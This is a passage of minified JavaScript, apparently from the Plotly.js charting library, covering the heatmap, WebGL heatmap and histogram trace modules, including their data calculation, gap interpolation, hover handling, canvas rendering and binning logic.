O=b.z;P.isArray1D(O)?(g(b,h,i,"x","y",["z"]),p=b._x,C=b._y,O=b._z):(n=b.x?h.makeCalcdata(b,"x"):[],k=b.y?i.makeCalcdata(b,"y"):[],p=L(b,h,"x",n).vals,C=L(b,i,"y",k).vals,b._x=p,b._y=C),A=b.x0,m=b.dx,x=b.y0,I=b.dy,B=t(O,b,h,i)}(h.rangebreaks||i.rangebreaks)&&(B=s(p,C,B),T||(p=u(p),C=u(C),b._x=p,b._y=C)),!T&&(v||b.connectgaps)&&(b._emptypoints=f(B),r(B,b._emptypoints));function z(V){E=b._input.zsmooth=b.zsmooth=!1,P.warn('cannot use zsmooth: "fast": '+V)}function N(V){if(V.length>1){var Y=(V[V.length-1]-V[0])/(V.length-1),Q=Math.abs(Y/100);for(_=0;_<V.length-1;_++)if(Math.abs(V[_+1]-V[_]-Y)>Q)return!1}return!0}b._islinear=!1,h.type==="log"||i.type==="log"?E==="fast"&&z("log axis found"):N(p)?N(C)?b._islinear=!0:E==="fast"&&z("y scale is not linear"):E==="fast"&&z("x scale is not linear");var G=P.maxRowLength(B),J=b.xtype==="scaled"?"":p,q=a(b,J,A,m,G,h),ne=b.ytype==="scaled"?"":C,fe=a(b,ne,x,I,B.length,i);w||(b._extremes[h._id]=o.findExtremes(h,q),b._extremes[i._id]=o.findExtremes(i,fe));var X={x:q,y:fe,z:B,text:b._text||b.text,hovertext:b._hovertext||b.hovertext};if(b.xperiodalignment&&n&&(X.orig_x=n),b.yperiodalignment&&k&&(X.orig_y=k),J&&J.length===q.length-1&&(X.xCenter=J),ne&&ne.length===fe.length-1&&(X.yCenter=ne),T&&(X.xRanges=F.xRanges,X.yRanges=F.yRanges,X.pts=F.pts),v||d(c,b,{vals:B,cLetter:"z"}),v&&b.contours&&b.contours.coloring==="heatmap"){var W={type:b.type==="contour"?"heatmap":"histogram2d",xcalendar:b.xcalendar,ycalendar:b.ycalendar};X.xfill=a(W,J,A,m,G,h),X.yfill=a(W,ne,x,I,B.length,i)}return[X]};function u(y){for(var c=[],b=y.length,h=0;h<b;h++){var i=y[h];i!==l&&c.push(i)}return c}function s(y,c,b){for(var h=[],i=-1,v=0;v<b.length;v++)if(c[v]!==l){i++,h[i]=[];for(var T=0;T<b[v].length;T++)y[T]!==l&&h[i].push(b[v][T])}return h}},4742:function(te,Z,e){var M=e(92770),P=e(71828),o=e(50606).BADNUM;te.exports=function(S,d,g,t){var r,f,a,l,u,s;function y(T){if(M(T))return+T}if(d&&d.transpose){for(r=0,u=0;u<S.length;u++)r=Math.max(r,S[u].length);if(r===0)return!1;a=function(T){return T.length},l=function(T,w,E){return(T[E]||[])[w]}}else r=S.length,a=function(T,w){return T[w].length},l=function(T,w,E){return(T[w]||[])[E]};var c=function(T,w,E){return w===o||E===o?o:l(T,w,E)};function b(T){if(d&&d.type!=="carpet"&&d.type!=="contourcarpet"&&T&&T.type==="category"&&d["_"+T._id.charAt(0)].length){var w=T._id.charAt(0),E={},p=d["_"+w+"CategoryMap"]||d[w];for(u=0;u<p.length;u++)E[p[u]]=u;return function(A){var m=E[T._categories[A]];return m+1?m:o}}else return P.identity}var h=b(g),i=b(t);t&&t.type==="category"&&(r=t._categories.length);var v=new Array(r);for(u=0;u<r;u++)for(g&&g.type==="category"?f=g._categories.length:f=a(S,u),v[u]=new Array(f),s=0;s<f;s++)v[u][s]=y(c(S,i(u),h(s)));return v}},61243:function(te){te.exports={min:"zmin",max:"zmax"}},68296:function(te,Z,e){var M=e(71828),P=e(50606).BADNUM,o=e(42973);te.exports=function(S,d,g,t,r,f){var a=S._length,l=d.makeCalcdata(S,t),u=g.makeCalcdata(S,r);l=o(S,d,t,l).vals,u=o(S,g,r,u).vals;var s=S.text,y=s!==void 0&&M.isArray1D(s),c=S.hovertext,b=c!==void 0&&M.isArray1D(c),h,i,v=M.distinctVals(l),T=v.vals,w=M.distinctVals(u),E=w.vals,p=[],A,m,n=E.length,C=T.length;for(h=0;h<f.length;h++)p[h]=M.init2dArray(n,C);y&&(A=M.init2dArray(n,C)),b&&(m=M.init2dArray(n,C));var x=M.init2dArray(n,C);for(h=0;h<a;h++)if(l[h]!==P&&u[h]!==P){var I=M.findBin(l[h]+v.minDiff/2,T),k=M.findBin(u[h]+w.minDiff/2,E);for(i=0;i<f.length;i++){var B=f[i],_=S[B],F=p[i];F[k][I]=_[h],x[k][I]=h}y&&(A[k][I]=s[h]),b&&(m[k][I]=c[h])}for(S["_"+t]=T,S["_"+r]=E,i=0;i<f.length;i++)S["_"+f[i]]=p[i];y&&(S._text=A),b&&(S._hovertext=m),d&&d.type==="category"&&(S["_"+t+"CategoryMap"]=T.map(function(O){return d._categories[O]})),g&&g.type==="category"&&(S["_"+r+"CategoryMap"]=E.map(function(O){return g._categories[O]})),S._after2before=x}},76382:function(te,Z,e){var M=e(71828),P=e(67684),o=e(58623),L=e(73927),S=e(49901),d=e(1586),g=e(21606);te.exports=function(r,f,a,l){function u(y,c){return M.coerce(r,f,g,y,c)}var s=P(r,f,u,l);if(!s){f.visible=!1;return}L(r,f,l,u),u("xhoverformat"),u("yhoverformat"),u("text"),u("hovertext"),u("hovertemplate"),o(u,l),S(r,f,u,l),u("hoverongaps"),u("connectgaps",M.isArray1D(f.z)&&f.zsmooth!==!1),d(r,f,l,u,{prefix:"",cLetter:"z"})}},43907:function(te,Z,e){var M=e(71828).maxRowLength;te.exports=function(o){var L=[],S={},d=[],g=o[0],t=[],r=[0,0,0],f=M(o),a,l,u,s,y,c,b,h;for(l=0;l<o.length;l++)for(a=t,t=g,g=o[l+1]||[],u=0;u<f;u++)t[u]===void 0&&(c=(t[u-1]!==void 0?1:0)+(t[u+1]!==void 0?1:0)+(a[u]!==void 0?1:0)+(g[u]!==void 0?1:0),c?(l===0&&c++,u===0&&c++,l===o.length-1&&c++,u===t.length-1&&c++,c<4&&(S[[l,u]]=[l,u,c]),L.push([l,u,c])):d.push([l,u]));for(;d.length;){for(b={},h=!1,y=d.length-1;y>=0;y--)s=d[y],l=s[0],u=s[1],c=((S[[l-1,u]]||r)[2]+(S[[l+1,u]]||r)[2]+(S[[l,u-1]]||r)[2]+(S[[l,u+1]]||r)[2])/20,c&&(b[s]=[l,u,c],d.splice(y,1),h=!0);if(!h)throw"findEmpties iterated with no new neighbors";for(s in b)S[s]=b[s],L.push(b[s])}return L.sort(function(i,v){return v[2]-i[2]})}},46248:function(te,Z,e){var M=e(30211),P=e(71828),o=e(89298),L=e(21081).extractOpts;te.exports=function(d,g,t,r,f){f||(f={});var a=f.isContour,l=d.cd[0],u=l.trace,s=d.xa,y=d.ya,c=l.x,b=l.y,h=l.z,i=l.xCenter,v=l.yCenter,T=l.zmask,w=u.zhoverformat,E=c,p=b,A,m,n,C;if(d.index!==!1){try{n=Math.round(d.index[1]),C=Math.round(d.index[0])}catch{P.error("Error hovering on heatmap, pointNumber must be [row,col], found:",d.index);return}if(n<0||n>=h[0].length||C<0||C>h.length)return}else{if(M.inbox(g-c[0],g-c[c.length-1],0)>0||M.inbox(t-b[0],t-b[b.length-1],0)>0)return;if(a){var x;for(E=[2*c[0]-c[1]],x=1;x<c.length;x++)E.push((c[x]+c[x-1])/2);for(E.push([2*c[c.length-1]-c[c.length-2]]),p=[2*b[0]-b[1]],x=1;x<b.length;x++)p.push((b[x]+b[x-1])/2);p.push([2*b[b.length-1]-b[b.length-2]])}n=Math.max(0,Math.min(E.length-2,P.findBin(g,E))),C=Math.max(0,Math.min(p.length-2,P.findBin(t,p)))}var I=s.c2p(c[n]),k=s.c2p(c[n+1]),B=y.c2p(b[C]),_=y.c2p(b[C+1]),F,O;a?(F=l.orig_x||c,O=l.orig_y||b,k=I,A=F[n],_=B,m=O[C]):(F=l.orig_x||i||c,O=l.orig_y||v||b,A=i?F[n]:(F[n]+F[n+1])/2,m=v?O[C]:(O[C]+O[C+1])/2,s&&s.type==="category"&&(A=c[n]),y&&y.type==="category"&&(m=b[C]),u.zsmooth&&(I=k=s.c2p(A),B=_=y.c2p(m)));var z=h[C][n];if(T&&!T[C][n]&&(z=void 0),!(z===void 0&&!u.hoverongaps)){var N;Array.isArray(l.hovertext)&&Array.isArray(l.hovertext[C])?N=l.hovertext[C][n]:Array.isArray(l.text)&&Array.isArray(l.text[C])&&(N=l.text[C][n]);var G=L(u),J={type:"linear",range:[G.min,G.max],hoverformat:w,_separators:s._separators,_numFormat:s._numFormat},q=o.tickText(J,z,"hover").text;return[P.extendFlat(d,{index:u._after2before?u._after2before[C][n]:[C,n],distance:d.maxHoverDistance,spikeDistance:d.maxSpikeDistance,x0:I,x1:k,y0:B,y1:_,xLabelVal:A,yLabelVal:m,zLabelVal:z,zLabel:q,text:N})]}}},92165:function(te,Z,e){te.exports={attributes:e(21606),supplyDefaults:e(76382),calc:e(90757),plot:e(50347),colorbar:e(61243),style:e(70035),hoverPoints:e(46248),moduleType:"trace",name:"heatmap",basePlotModule:e(93612),categories:["cartesian","svg","2dMap","showLegend"],meta:{}}},824:function(te,Z,e){var M=e(71828),P=.01,o=[[-1,0],[1,0],[0,-1],[0,1]];function L(d){return .5-.25*Math.min(1,d*.5)}te.exports=function(g,t){var r=1,f;for(S(g,t),f=0;f<t.length&&!(t[f][2]<4);f++);for(t=t.slice(f),f=0;f<100&&r>P;f++)r=S(g,t,L(r));return r>P&&M.log("interp2d didn't converge quickly",r),g};function S(d,g,t){var r=0,f,a,l,u,s,y,c,b,h,i,v,T,w;for(u=0;u<g.length;u++){for(f=g[u],a=f[0],l=f[1],v=d[a][l],i=0,h=0,s=0;s<4;s++)y=o[s],c=d[a+y[0]],c&&(b=c[l+y[1]],b!==void 0&&(i===0?T=w=b:(T=Math.min(T,b),w=Math.max(w,b)),h++,i+=b));if(h===0)throw"iterateInterp2d order is wrong: no defined neighbors";d[a][l]=i/h,v===void 0?h<4&&(r=1):(d[a][l]=(1+t)*d[a][l]-t*v,w>T&&(r=Math.max(r,Math.abs(d[a][l]-v)/(w-T))))}return r}},58623:function(te,Z,e){var M=e(71828);te.exports=function(o,L){o("texttemplate");var S=M.extendFlat({},L.font,{color:"auto",size:"auto"});M.coerceFont(o,"textfont",S)}},70769:function(te,Z,e){var M=e(73972),P=e(71828).isArrayOrTypedArray;te.exports=function(L,S,d,g,t,r){var f=[],a=M.traceIs(L,"contour"),l=M.traceIs(L,"histogram"),u=M.traceIs(L,"gl2d"),s,y,c,b=P(S)&&S.length>1;if(b&&!l&&r.type!=="category"){var h=S.length;if(h<=t){if(a||u)f=S.slice(0,t);else if(t===1)f=[S[0]-.5,S[0]+.5];else{for(f=[1.5*S[0]-.5*S[1]],c=1;c<h;c++)f.push((S[c-1]+S[c])*.5);f.push(1.5*S[h-1]-.5*S[h-2])}if(h<t){var i=f[f.length-1],v=i-f[f.length-2];for(c=h;c<t;c++)i+=v,f.push(i)}}else return a?S.slice(0,t):S.slice(0,t+1)}else{var T=L[r._id.charAt(0)+"calendar"];if(l)s=r.r2c(d,0,T);else if(P(S)&&S.length===1)s=S[0];else if(d===void 0)s=0;else{var w=r.type==="log"?r.d2c:r.r2c;s=w(d,0,T)}for(y=g||1,c=a||u?0:-.5;c<t;c++)f.push(s+y*c)}return f}},50347:function(te,Z,e){var M=e(39898),P=e(84267),o=e(73972),L=e(91424),S=e(89298),d=e(71828),g=e(63893),t=e(8225),r=e(7901),f=e(21081).extractOpts,a=e(21081).makeColorScaleFuncFromTrace,l=e(77922),u=e(18783),s=u.LINE_SPACING,y=e(3883),c=e(32396).STYLE,b="heatmap-label";function h(E){return E.selectAll("g."+b)}function i(E){h(E).remove()}te.exports=function(E,p,A,m){var n=p.xaxis,C=p.yaxis;d.makeTraceGroups(m,A,"hm").each(function(x){var I=M.select(this),k=x[0],B=k.trace,_=B.xgap||0,F=B.ygap||0,O=k.z,z=k.x,N=k.y,G=k.xCenter,J=k.yCenter,q=o.traceIs(B,"contour"),ne=q?"best":B.zsmooth,fe=O.length,X=d.maxRowLength(O),W=!1,V=!1,Y,Q,ie,j,K,oe,re,le;for(oe=0;Y===void 0&&oe<z.length-1;)Y=n.c2p(z[oe]),oe++;for(oe=z.length-1;Q===void 0&&oe>0;)Q=n.c2p(z[oe]),oe--;for(Q<Y&&(ie=Q,Q=Y,Y=ie,W=!0),oe=0;j===void 0&&oe<N.length-1;)j=C.c2p(N[oe]),oe++;for(oe=N.length-1;K===void 0&&oe>0;)K=C.c2p(N[oe]),oe--;K<j&&(ie=j,j=K,K=ie,V=!0),q&&(G=z,J=N,z=k.xfill,N=k.yfill);var pe="default";if(ne?pe=ne==="best"?"smooth":"fast":B._islinear&&_===0&&F===0&&y()&&(pe="fast"),pe!=="fast"){var we=ne==="best"?0:.5;Y=Math.max(-we*n._length,Y),Q=Math.min((1+we)*n._length,Q),j=Math.max(-we*C._length,j),K=Math.min((1+we)*C._length,K)}var xe=Math.round(Q-Y),ke=Math.round(K-j),_e=Y>=n._length||Q<=0||j>=C._length||K<=0;if(_e){var be=I.selectAll("image").data([]);be.exit().remove(),i(I);return}var ge,Te;pe==="fast"?(ge=X,Te=fe):(ge=xe,Te=ke);var Fe=document.createElement("canvas");Fe.width=ge,Fe.height=Te;var Oe=Fe.getContext("2d"),Ce=a(B,{noNumericCheck:!0,returnArray:!0}),Be,$e;pe==="fast"?(Be=W?function(Xr){return X-1-Xr}:d.identity,$e=V?function(Xr){return fe-1-Xr}:d.identity):(Be=function(Xr){return d.constrain(Math.round(n.c2p(z[Xr])-Y),0,xe)},$e=function(Xr){return d.constrain(Math.round(C.c2p(N[Xr])-j),0,ke)});var Xe=$e(0),Ze=[Xe,Xe],Ke=W?0:1,st=V?0:1,lt=0,ut=0,yt=0,bt=0,Ot,Ge,Le,Pe,De;function Ee(Xr,an){if(Xr!==void 0){var tn=Ce(Xr);return tn[0]=Math.round(tn[0]),tn[1]=Math.round(tn[1]),tn[2]=Math.round(tn[2]),lt+=an,ut+=tn[0]*an,yt+=tn[1]*an,bt+=tn[2]*an,tn}return[0,0,0,0]}function ye(Xr,an,tn,gn){var En=Xr[tn.bin0];if(En===void 0)return Ee(void 0,1);var Hn=Xr[tn.bin1],Xn=an[tn.bin0],qn=an[tn.bin1],Wn=Hn-En||0,ea=Xn-En||0,mr;return Hn===void 0?qn===void 0?mr=0:Xn===void 0?mr=2*(qn-En):mr=(2*qn-Xn-En)*2/3:qn===void 0?Xn===void 0?mr=0:mr=(2*En-Hn-Xn)*2/3:Xn===void 0?mr=(2*qn-Hn-En)*2/3:mr=qn+En-Hn-Xn,Ee(En+tn.frac*Wn+gn.frac*(ea+tn.frac*mr))}if(pe!=="default"){var ae=0,de;try{de=new Uint8Array(ge*Te*4)}catch{de=new Array(ge*Te*4)}if(pe==="smooth"){var Me=G||z,Ie=J||N,Qe=new Array(Me.length),et=new Array(Ie.length),pt=new Array(xe),St=G?T:v,_t=J?T:v,Ft,Tt,Gt;for(oe=0;oe<Me.length;oe++)Qe[oe]=Math.round(n.c2p(Me[oe])-Y);for(oe=0;oe<Ie.length;oe++)et[oe]=Math.round(C.c2p(Ie[oe])-j);for(oe=0;oe<xe;oe++)pt[oe]=St(oe,Qe);for(re=0;re<ke;re++)for(Ft=_t(re,et),Tt=O[Ft.bin0],Gt=O[Ft.bin1],oe=0;oe<xe;oe++,ae+=4)De=ye(Tt,Gt,pt[oe],Ft),w(de,ae,De)}else for(re=0;re<fe;re++)for(Pe=O[re],Ze=$e(re),oe=0;oe<X;oe++)De=Ee(Pe[oe],1),ae=(Ze*X+Be(oe))*4,w(de,ae,De);var er=Oe.createImageData(ge,Te);try{er.data.set(de)}catch{var Pr=er.data,ct=Pr.length;for(re=0;re<ct;re++)Pr[re]=de[re]}Oe.putImageData(er,0,0)}else{var Vt=Math.floor(_/2),Ut=Math.floor(F/2);for(re=0;re<fe;re++)if(Pe=O[re],Ze.reverse(),Ze[st]=$e(re+1),!(Ze[0]===Ze[1]||Ze[0]===void 0||Ze[1]===void 0))for(Ge=Be(0),Ot=[Ge,Ge],oe=0;oe<X;oe++)Ot.reverse(),Ot[Ke]=Be(oe+1),!(Ot[0]===Ot[1]||Ot[0]===void 0||Ot[1]===void 0)&&(Le=Pe[oe],De=Ee(Le,(Ot[1]-Ot[0])*(Ze[1]-Ze[0])),Oe.fillStyle="rgba("+De.join(",")+")",Oe.fillRect(Ot[0]+Vt,Ze[0]+Ut,Ot[1]-Ot[0]-_,Ze[1]-Ze[0]-F))}ut=Math.round(ut/lt),yt=Math.round(yt/lt),bt=Math.round(bt/lt);var dr=P("rgb("+ut+","+yt+","+bt+")");E._hmpixcount=(E._hmpixcount||0)+lt,E._hmlumcount=(E._hmlumcount||0)+lt*dr.getLuminance();var sr=I.selectAll("image").data(x);sr.enter().append("svg:image").attr({xmlns:l.svg,preserveAspectRatio:"none"}),sr.attr({height:ke,width:xe,x:Y,y:j,"xlink:href":Fe.toDataURL("image/png")}),pe==="fast"&&!ne&&sr.attr("style",c),i(I);var nt=B.texttemplate;if(nt){var rt=f(B),vt={type:"linear",range:[rt.min,rt.max],_separators:n._separators,_numFormat:n._numFormat},gt=B.type==="histogram2dcontour",wt=B.type==="contour",mt=wt?1:0,Pt=wt?fe-1:fe,zt=wt?1:0,Xt=wt?X-1:X,Yt=[];for(oe=mt;oe<Pt;oe++){var $t;if(wt)$t=k.y[oe];else if(gt){if(oe===0||oe===fe-1)continue;$t=k.y[oe]}else if(k.yCenter)$t=k.yCenter[oe];else{if(oe+1===fe&&k.y[oe+1]===void 0)continue;$t=(k.y[oe]+k.y[oe+1])/2}var yr=Math.round(C.c2p($t));if(!(0>yr||yr>C._length))for(re=zt;re<Xt;re++){var Ue;if(wt)Ue=k.x[re];else if(gt){if(re===0||re===X-1)continue;Ue=k.x[re]}else if(k.xCenter)Ue=k.xCenter[re];else{if(re+1===X&&k.x[re+1]===void 0)continue;Ue=(k.x[re]+k.x[re+1])/2}var Ne=Math.round(n.c2p(Ue));if(!(0>Ne||Ne>n._length)){var Et=t({x:Ue,y:$t},B,E._fullLayout);Et.x=Ue,Et.y=$t;var Lt=k.z[oe][re];Lt===void 0?(Et.z="",Et.zLabel=""):(Et.z=Lt,Et.zLabel=S.tickText(vt,Lt,"hover").text);var Nt=k.text&&k.text[oe]&&k.text[oe][re];(Nt===void 0||Nt===!1)&&(Nt=""),Et.text=Nt;var rr=d.texttemplateString(nt,Et,E._fullLayout._d3locale,Et,B._meta||{});if(rr){var tr=rr.split("<br>"),Jt=tr.length,It=0;for(le=0;le<Jt;le++)It=Math.max(It,tr[le].length);Yt.push({l:Jt,c:It,t:rr,x:Ne,y:yr,z:Lt})}}}}var or=B.textfont,ur=or.family,fr=or.size,lr=E._fullLayout.font.size;if(!fr||fr==="auto"){var Nr=1/0,Rr=1/0,Cr=0,vn=0;for(le=0;le<Yt.length;le++){var Ur=Yt[le];if(Cr=Math.max(Cr,Ur.l),vn=Math.max(vn,Ur.c),le<Yt.length-1){var Mn=Yt[le+1],Sn=Math.abs(Mn.x-Ur.x),nr=Math.abs(Mn.y-Ur.y);Sn&&(Nr=Math.min(Nr,Sn)),nr&&(Rr=Math.min(Rr,nr))}}!isFinite(Nr)||!isFinite(Rr)?fr=lr:(Nr-=_,Rr-=F,Nr/=vn,Rr/=Cr,Nr/=s/2,Rr/=s,fr=Math.min(Math.floor(Nr),Math.floor(Rr),lr))}if(fr<=0||!isFinite(fr))return;var Sr=function(Xr){return Xr.x},Dr=function(Xr){return Xr.y-fr*(Xr.l*s/2-1)},Ir=h(I).data(Yt);Ir.enter().append("g").classed(b,1).append("text").attr("text-anchor","middle").each(function(Xr){var an=M.select(this),tn=or.color;(!tn||tn==="auto")&&(tn=r.contrast("rgba("+Ce(Xr.z).join()+")")),an.attr("data-notex",1).call(g.positionText,Sr(Xr),Dr(Xr)).call(L.font,ur,fr,tn).text(Xr.t).call(g.convertToTspans,E)})}})};function v(E,p){var A=p.length-2,m=d.constrain(d.findBin(E,p),0,A),n=p[m],C=p[m+1],x=d.constrain(m+(E-n)/(C-n)-.5,0,A),I=Math.round(x),k=Math.abs(x-I);return!x||x===A||!k?{bin0:I,bin1:I,frac:0}:{bin0:I,frac:k,bin1:Math.round(I+k/(x-I))}}function T(E,p){var A=p.length-1,m=d.constrain(d.findBin(E,p),0,A),n=p[m],C=p[m+1],x=(E-n)/(C-n)||0;return x<=0?{bin0:m,bin1:m,frac:0}:x<.5?{bin0:m,bin1:m+1,frac:x}:{bin0:m+1,bin1:m,frac:1-x}}function w(E,p,A){E[p]=A[0],E[p+1]=A[1],E[p+2]=A[2],E[p+3]=Math.round(A[3]*255)}},70035:function(te,Z,e){var M=e(39898);te.exports=function(o){M.select(o).selectAll(".hm image").style("opacity",function(L){return L.trace.opacity})}},49901:function(te){te.exports=function(e,M,P){var o=P("zsmooth");o===!1&&(P("xgap"),P("ygap")),P("zhoverformat")}},67684:function(te,Z,e){var M=e(92770),P=e(71828),o=e(73972);te.exports=function(g,t,r,f,a,l){var u=r("z");a=a||"x",l=l||"y";var s,y;if(u===void 0||!u.length)return 0;if(P.isArray1D(g.z)){s=r(a),y=r(l);var c=P.minRowLength(s),b=P.minRowLength(y);if(c===0||b===0)return 0;t._length=Math.min(c,b,u.length)}else{if(s=L(a,r),y=L(l,r),!S(u))return 0;r("transpose"),t._length=null}if(g.type==="heatmapgl")return!0;var h=o.getComponentMethod("calendars","handleTraceDefaults");return h(g,t,[a,l],f),!0};function L(d,g){var t=g(d),r=t?g(d+"type","array"):"scaled";return r==="scaled"&&(g(d+"0"),g("d"+d)),t}function S(d){for(var g=!0,t=!1,r=!1,f,a=0;a<d.length;a++){if(f=d[a],!P.isArrayOrTypedArray(f)){g=!1;break}f.length>0&&(t=!0);for(var l=0;l<f.length;l++)if(M(f[l])){r=!0;break}}return g&&t&&r}},16063:function(te,Z,e){for(var M=e(21606),P=e(50693),o=e(1426).extendFlat,L=e(30962).overrideAll,S=["z","x","x0","dx","y","y0","dy","text","transpose","xtype","ytype"],d={},g=0;g<S.length;g++){var t=S[g];d[t]=M[t]}d.zsmooth={valType:"enumerated",values:["fast",!1],dflt:"fast",editType:"calc"},o(d,P("",{cLetter:"z",autoColorDflt:!1})),te.exports=L(d,"calc","nested")},59560:function(te,Z,e){var M=e(9330).gl_heatmap2d,P=e(89298),o=e(78614);function L(t,r){this.scene=t,this.uid=r,this.type="heatmapgl",this.name="",this.hoverinfo="all",this.xData=[],this.yData=[],this.zData=[],this.textLabels=[],this.idToIndex=[],this.bounds=[0,0,0,0],this.options={zsmooth:"fast",z:[],x:[],y:[],shape:[0,0],colorLevels:[0],colorValues:[0,0,0,1]},this.heatmap=M(t.glplot,this.options),this.heatmap._trace=this}var S=L.prototype;S.handlePick=function(t){var r=this.options,f=r.shape,a=t.pointId,l=a%f[0],u=Math.floor(a/f[0]),s=a;return{trace:this,dataCoord:t.dataCoord,traceCoord:[r.x[l],r.y[u],r.z[s]],textLabel:this.textLabels[a],name:this.name,pointIndex:[u,l],hoverinfo:this.hoverinfo}},S.update=function(t,r){var f=r[0];this.index=t.index,this.name=t.name,this.hoverinfo=t.hoverinfo;var a=f.z;this.options.z=[].concat.apply([],a);var l=a[0].length,u=a.length;this.options.shape=[l,u],this.options.x=f.x,this.options.y=f.y,this.options.zsmooth=t.zsmooth;var s=d(t);this.options.colorLevels=s.colorLevels,this.options.colorValues=s.colorValues,this.textLabels=[].concat.apply([],t.text),this.heatmap.update(this.options);var y=this.scene.xaxis,c=this.scene.yaxis,b,h;t.zsmooth===!1&&(b={ppad:f.x[1]-f.x[0]},h={ppad:f.y[1]-f.y[0]}),t._extremes[y._id]=P.findExtremes(y,f.x,b),t._extremes[c._id]=P.findExtremes(c,f.y,h)},S.dispose=function(){this.heatmap.dispose()};function d(t){for(var r=t.colorscale,f=t.zmin,a=t.zmax,l=r.length,u=new Array(l),s=new Array(4*l),y=0;y<l;y++){var c=r[y],b=o(c[1]);u[y]=f+c[0]*(a-f);for(var h=0;h<4;h++)s[4*y+h]=b[h]}return{colorLevels:u,colorValues:s}}function g(t,r,f){var a=new L(t,r.uid);return a.update(r,f),a}te.exports=g},19600:function(te,Z,e){var M=e(71828),P=e(67684),o=e(1586),L=e(16063);te.exports=function(d,g,t,r){function f(l,u){return M.coerce(d,g,L,l,u)}var a=P(d,g,f,r);if(!a){g.visible=!1;return}f("text"),f("zsmooth"),o(d,g,r,f,{prefix:"",cLetter:"z"})}},3325:function(te,Z,e){te.exports={attributes:e(16063),supplyDefaults:e(19600),colorbar:e(61243),calc:e(90757),plot:e(59560),moduleType:"trace",name:"heatmapgl",basePlotModule:e(4796),categories:["gl","gl2d","2dMap"],meta:{}}},7745:function(te,Z,e){var M=e(1486),P=e(12663).axisHoverFormat,o=e(5386).fF,L=e(5386).si,S=e(41940),d=e(17656),g=e(72406),t=e(1426).extendFlat;te.exports={x:{valType:"data_array",editType:"calc+clearAxisTypes"},y:{valType:"data_array",editType:"calc+clearAxisTypes"},xhoverformat:P("x"),yhoverformat:P("y"),text:t({},M.text,{}),hovertext:t({},M.hovertext,{}),orientation:M.orientation,histfunc:{valType:"enumerated",values:["count","sum","avg","min","max"],dflt:"count",editType:"calc"},histnorm:{valType:"enumerated",values:["","percent","probability","density","probability density"],dflt:"",editType:"calc"},cumulative:{enabled:{valType:"boolean",dflt:!1,editType:"calc"},direction:{valType:"enumerated",values:["increasing","decreasing"],dflt:"increasing",editType:"calc"},currentbin:{valType:"enumerated",values:["include","exclude","half"],dflt:"include",editType:"calc"},editType:"calc"},nbinsx:{valType:"integer",min:0,dflt:0,editType:"calc"},xbins:d("x",!0),nbinsy:{valType:"integer",min:0,dflt:0,editType:"calc"},ybins:d("y",!0),autobinx:{valType:"boolean",dflt:null,editType:"calc"},autobiny:{valType:"boolean",dflt:null,editType:"calc"},bingroup:{valType:"string",dflt:"",editType:"calc"},hovertemplate:o({},{keys:g.eventDataKeys}),texttemplate:L({arrayOk:!1,editType:"plot"},{keys:["label","value"]}),textposition:t({},M.textposition,{arrayOk:!1}),textfont:S({arrayOk:!1,editType:"plot",colorEditType:"style"}),outsidetextfont:S({arrayOk:!1,editType:"plot",colorEditType:"style"}),insidetextfont:S({arrayOk:!1,editType:"plot",colorEditType:"style"}),insidetextanchor:M.insidetextanchor,textangle:M.textangle,cliponaxis:M.cliponaxis,constraintext:M.constraintext,marker:M.marker,offsetgroup:M.offsetgroup,alignmentgroup:M.alignmentgroup,selected:M.selected,unselected:M.unselected,_deprecated:{bardir:M._deprecated.bardir}}},42174:function(te){te.exports=function(e,M){for(var P=e.length,o=0,L=0;L<P;L++)M[L]?(e[L]/=M[L],o+=e[L]):e[L]=null;return o}},17656:function(te){te.exports=function(e,M){return{start:{valType:"any",editType:"calc"},end:{valType:"any",editType:"calc"},size:{valType:"any",editType:"calc"},editType:"calc"}}},59575:function(te,Z,e){var M=e(92770);te.exports={count:function(P,o,L){return L[P]++,1},sum:function(P,o,L,S){var d=S[o];return M(d)?(d=Number(d),L[P]+=d,d):0},avg:function(P,o,L,S,d){var g=S[o];return M(g)&&(g=Number(g),L[P]+=g,d[P]++),0},min:function(P,o,L,S){var d=S[o];if(M(d))if(d=Number(d),M(L[P])){if(L[P]>d){var g=d-L[P];return L[P]=d,g}}else return L[P]=d,d;return 0},max:function(P,o,L,S){var d=S[o];if(M(d))if(d=Number(d),M(L[P])){if(L[P]<d){var g=d-L[P];return L[P]=d,g}}else return L[P]=d,d;return 0}}},40965:function(te,Z,e){var M=e(50606),P=M.ONEAVGYEAR,o=M.ONEAVGMONTH,L=M.ONEDAY,S=M.ONEHOUR,d=M.ONEMIN,g=M.ONESEC,t=e(89298).tickIncrement;te.exports=function(s,y,c,b,h){var i=-1.1*y,v=-.1*y,T=s-v,w=c[0],E=c[1],p=Math.min(r(w+v,w+T,b,h),r(E+v,E+T,b,h)),A=Math.min(r(w+i,w+v,b,h),r(E+i,E+v,b,h)),m,n;if(p>A&&A<Math.abs(E-w)/4e3?(m=p,n=!1):(m=Math.min(p,A),n=!0),b.type==="date"&&m>L){var C=m===P?1:6,x=m===P?"M12":"M1";return function(I,k){var B=b.c2d(I,P,h),_=B.indexOf("-",C);_>0&&(B=B.substr(0,_));var F=b.d2c(B,0,h);if(F<I){var O=t(F,x,!1,h);(F+O)/2<I+s&&(F=O)}return k&&n?t(F,x,!0,h):F}}return function(I,k){var B=m*Math.round(I/m);return B+m/10<I&&B+m*.9<I+s&&(B+=m),k&&n&&(B-=m),B}};function r(u,s,y,c){if(u*s<=0)return 1/0;for(var b=Math.abs(s-u),h=y.type==="date",i=f(b,h),v=0;v<10;v++){var T=f(i*80,h);if(i===T)break;if(a(T,u,s,h,y,c))i=T;else break}return i}function f(u,s){return s&&u>g?u>L?u>P*1.1?P:u>o*1.1?o:L:u>S?S:u>d?d:g:Math.pow(10,Math.floor(Math.log(u)/Math.LN10))}function a(u,s,y,c,b,h){if(c&&u>L){var i=l(s,b,h),v=l(y,b,h),T=u===P?0:1;return i[T]!==v[T]}return Math.floor(y/u)-Math.floor(s/u)>.1}function l(u,s,y){var c=s.c2d(u,P,y).split("-");return c[0]===""&&(c.unshift(),c[0]="-"+c[0]),c}},72138:function(te,Z,e){var M=e(92770),P=e(71828),o=e(73972),L=e(89298),S=e(75341),d=e(59575),g=e(36362),t=e(42174),r=e(40965);function f(y,c){var b=[],h=[],i=c.orientation==="h",v=L.getFromId(y,i?c.yaxis:c.xaxis),T=i?"y":"x",w={x:"y",y:"x"}[T],E=c[T+"calendar"],p=c.cumulative,A,m=a(y,c,v,T),n=m[0],C=m[1],x=typeof 